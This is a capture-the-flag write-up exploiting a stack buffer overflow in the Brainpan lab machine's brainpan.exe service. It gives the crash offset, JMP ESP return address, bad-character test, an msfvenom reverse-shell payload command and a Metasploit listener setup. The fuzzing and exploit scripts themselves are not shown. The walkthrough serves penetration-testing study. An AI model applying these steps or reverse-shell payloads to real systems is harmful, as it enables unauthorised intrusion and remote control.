Exploit Development – Brainpan CTF

Nmap Scan: nmap

We appear to have two open ports, 9999 and 10000.

I further probe with: nmap -A

The scan indicates a terminal password prompt on port 9999 and a python simple http server running on port 10000.

I have a look at port 9999: nc 9999

[email protected]:~# nc 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              


I have a go at entering common passwords, the connection disconnects after each failed attempt. Not too much luck there.


I decide to have a look at what’s running on port 10000 by entering the url into my web browser.


Nothing exciting yet. From terminal I decide to brute url directories via: dirb


A new directory shows as /bin/

I decide to have a look.


A link to brainpan.exe displays on the page. I download and save the exe file.

I am running a linux environment but we may still execute the exe using wine. After ensuring I have wine on my kali machine (apt-get install wine) and mess around with a significant amount of updates, I decide to execute to see what happens: wine ~/Downloads/brainpan.exe

Interesting, it looks like the program is listening for a connection on port 9999.

Lets see if I’m right by checking listening ports on my local machine using: Netstat -tlp


My thoughts were correct, port 9999 is listening.

This appears to likely match the software running on port 9999 on the victim machine. Now I can fuzz the program locally to see if an exploit can be developed so that I can use it to exploit the victim machine.

Exploit Development

a. Find the exact amount of bytes required to crash the application

b. Control EIP / ESP Registers

c. Redirect the execution flow (find JMP ESP)

d. Create shellcode

e. Exploit


1. Fuzzing

I create a very simple skeleton script in python using nano. It will allow us to send bytes of data to the program to see if at a given point we can cause the program to crash. Get the script from my GitHub here

I execute python fuzz.py and see the program fuzz the application by incrementing data packets by 100. The application attempts to send 700 bytes without a response and thus ceases its loop, this indicates a crash. I check my terminal for brainpan.exe and confirm the program appears to have received the bytes and is no longer running. We now know the program will crash with a buffer of under 700 bytes.


2. Controlling The EIP Register Value

I now need to figure out the exactly how many bytes cause the program to crash to identify the offset point. Fortunately, metasploit tools available on Kali pattern_create  in combination with pattern_offset simplify this.

I will create a 700 byte unique string pattern:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -L 700

I make a simple buffer overflow script to work with in python (Available on Github) and copy the pattern_create 700 byte string to the buffer variable.


In a terminal I fire up Olly Debugger: ollydbg

I click file > Open > brainpan.exe

Then click the play icon…. brainpan.exe is now running and attached to Olly Debugger.

I then execute python simple-buffer-overflow.py

Olly Debugger shows the program has crashed as expected. I copy the EIP register value to clipboard.

I will need to run this value with pattern_offset to find the offset value:

[email protected]:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524

I now know the program did receive 700 bytes from our script and I know the offset point is 524. Now its time to modify the simple-buffer-overflow.py script and change the buffer variable payload to "A"*524 + "B" *4 + "C"*(700-524-4)


We can expect the EIP register value to be overwritten to four B’s by the hex value \x42\x42\x42\x42 that will be displayed as 42424242. I run brainpan.exe with Olly Debugger and execute simple-buffer-overflow.py to confirm EIP overwrite. Success!

EIP Overwrite

3. Redirecting Execution Flow

A reverse shell payload typically will require between 300-400 bytes. I know there are 172 bytes containing C’s making up to the initial 700 bytes that I starting working with. Now I need to see how far I can stretch this by modifying the simple-buffer-overflow.py script to find space for my shellcode. I will test the space by extending the C’s to 500 bytes.

I execute brainpan.exe and open Olly Debugger and file> ‘Attach’ brainpan.exe . I then run simple-buffer-overflow.py and notice the application received its proceeding 500 C’s by checking the terminal window and by following the ESP Register dump in Olly Debugger.

exploit development buffer overflow
exploit development buffer overflow

We now need to check for bad characters that could prevent our shellcode from executing. In the buffer payload variable we will remove the C’s and replace with a list of hex characters by creating a new variable ‘badchars’:

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

*I remove \x00 from badchars since it is a frequent culprit.

I then execute brainpan.exe and attach the process to Olly Debugger and execute simple-buffer-overflow.py. We then follow the ESP hex dump to compare the hex characters to those we sent. We follow the increment pattern in the hex dump, If you arrive at missing values then it is that first value that needs to be omitted and retested as otherwise it will truncate the proceeding buffer value.


I confirmed that there are no other missing characters or pattern disruptions in the hex dump. This means the only hex value that needs to be omitted in our shellcode is \x00 .

Time to find a return address. I open Olly Debugged and file>open brainpan.exe

I right click the main thread window and right click any item > search for > all commands > ‘jmp esp’


I find a JMP ESP return address static value 311712f3 that we will copy into the simple-buffer-overflow.py script replacing the B values we previously set. We must must enter the jump value in little-indian format.

We remove the badchars variable, we no longer need it. We replace "B"*4 with \xF3\x12\x17\x31 and where we had the badchars in the buffer we will revert back to placing C’s simply for testing, I add 500 C’s.

We are now sending 524 bytes to land at the crash point where we redirect the execution flow to the jmp value.

4. Generating Shellcode

For this task we use msfvenom.

msfvenom -p linux/x86/meterpreter/reverse_tcp -b \x00 LHOST= LPORT=8080 -f python

We then simply add the shellcode to the buffer overflow script.

Screenshot 2019-04-13 at 12.29.22

5. Exploitation

I run brainpan.exe with wine and fire up msfconsole to set a listener:

use exploit/multi/handler
set PAYLOAD linux/x86/shell/reverse_tcp
set lhost
set port 8080

I then run the exploit simple-buffer-overflow.py and successfully receive a reverse shell WOOHOO!!! It Works!


Its now to for the real attack on the brainpan ctf machine. We simply change our exploit script IP address to the brainpan address.


I run msfconsole multi/handler exactly the same as before and execute
simple-buffer-overflow.py and successfully receive a reverse shell. 🙂